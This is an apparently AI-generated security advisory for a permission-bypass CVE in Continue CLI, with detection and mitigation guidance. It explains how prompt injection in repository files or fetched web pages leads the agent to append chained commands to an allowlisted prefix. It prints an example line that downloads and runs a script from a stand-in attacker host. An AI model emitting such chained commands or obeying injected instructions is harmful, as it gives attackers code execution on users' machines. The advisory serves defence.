Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB
CVE-2026-109560 Overview
CVE-2026-109560 is a permission bypass vulnerability in Continue CLI (@continuedev/cli) through version 1.5.47. The flaw allows attackers to execute unapproved shell commands by chaining them after allowed Bash prefix rules. The agent's permission checker validates only the first command token. Attackers append arbitrary commands using ;, &&, or | separators to run code as the user. Exploitation leverages prompt injection: adversaries plant instructions in repository files or fetched web pages. The AI agent then processes these instructions and emits chained commands that pass the prefix check. The weakness is tracked under CWE-863: Incorrect Authorization.
Critical Impact
Attackers achieve arbitrary command execution in the user's shell by poisoning untrusted content the Continue agent reads during normal workflows.
Affected Products
- Continue CLI (@continuedev/cli) versions up to and including 1.5.47
- Continue agent deployments relying on Bash prefix allowlists
- Developer environments integrating Continue with untrusted repositories or web fetch tools
Discovery Timeline
- 2026-10-12 - CVE-2026-109560 published to NVD
- 2026-10-13 - Last updated in NVD database
Technical Details for CVE-2026-109560
Vulnerability Analysis
Continue CLI enforces Bash command permissions using prefix-matching rules. When a user approves a prefix such as git status, the policy writer persists that prefix to the allowlist. The permission checker then compares incoming commands against the stored prefixes before execution.
The check validates the leading token but ignores shell control operators that follow. A command like git status; curl attacker.tld/x | sh matches the git status prefix and executes without additional approval. The shell then runs the chained payload with the caller's privileges.
Agentic workflows amplify the risk. The Continue agent ingests repository files, issue content, and fetched web pages as context. An attacker who controls any of that content can inject natural-language instructions that direct the agent to emit chained commands fitting an existing allowlist entry.
See the VulnCheck Advisory on Bypass and the GitHub Issue Discussion for additional analysis.
Root Cause
The root cause is incorrect authorization logic in the Bash permission layer. The GitHub Permission Checker Code performs prefix comparison without parsing shell metacharacters. The GitHub Policy Writer Code stores user approvals as raw prefix strings, so any suffix remains unchecked at execution time.
Attack Vector
An attacker plants injection content in a file the developer asks Continue to review, or in a webpage the agent fetches. The injected text instructs the agent to run a benign-looking command followed by ;, &&, or | and a malicious payload. The permission checker approves the leading prefix. The shell executes the full chain, yielding arbitrary command execution as the local user. Review the GitHub Project Repository for implementation context.
Detect Identity Attacks the Moment Authentication Fails
Singularity™ Identity surfaces credential misuse, lateral movement, and privilege escalation in real time, so you can contain the breach before it spreads.
Stop Identity AttacksDetection Methods for CVE-2026-109560
Indicators of Compromise
- Shell history entries containing allowlisted command prefixes followed by ;, &&, or | and unexpected binaries such as curl, wget, bash, or sh.
- Outbound network connections from developer workstations to unfamiliar domains shortly after Continue agent sessions.
- New or modified entries in Continue permission policy files that do not match user-initiated approvals.
Detection Strategies
- Parse Continue CLI session logs for executed commands containing shell control operators and compare against stored allowlist prefixes.
- Alert on child processes of the Continue CLI node runtime that spawn sh, bash, curl, wget, or scripting interpreters.
- Correlate repository fetches and web content ingestion with subsequent shell activity initiated by the agent.
Monitoring Recommendations
- Enable endpoint process telemetry on developer machines running Continue CLI and retain command-line arguments.
- Monitor egress traffic from developer subnets for connections to newly registered or low-reputation domains.
- Review Continue permission policy files on a scheduled cadence to detect drift from approved baselines.
How to Mitigate CVE-2026-109560
Immediate Actions Required
- Upgrade @continuedev/cli beyond version 1.5.47 once a fixed release is published by the maintainers.
- Revoke existing Bash prefix allowlist entries and re-approve only narrowly scoped commands.
- Restrict the Continue agent from processing untrusted repositories, issues, or fetched web content until a patch is applied.
Patch Information
No fixed version is listed in the NVD record at publication. Track the GitHub Project Repository and the GitHub Issue Discussion for remediation updates. Apply vendor patches as soon as they are released.
Workarounds
- Disable Bash tool permissions in Continue configuration and require interactive approval for every command.
- Run the Continue CLI inside a container or sandbox with no network egress and read-only mounts for sensitive paths.
- Avoid approving broad command prefixes such as git, npm, or make; prefer fully qualified commands with explicit arguments.
- Strip or review agent context sources, including repository README files and fetched URLs, before invoking tool-using sessions.
# Configuration example: launch Continue CLI in a restricted sandbox
docker run --rm -it \
--network=none \
--read-only \
--tmpfs /tmp \
-v "$PWD":/workspace:ro \
-w /workspace \
node:20-alpine sh -c 'npx @continuedev/cli'
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
Sources: National Vulnerability Database, CISA KEV, Exploit-DB

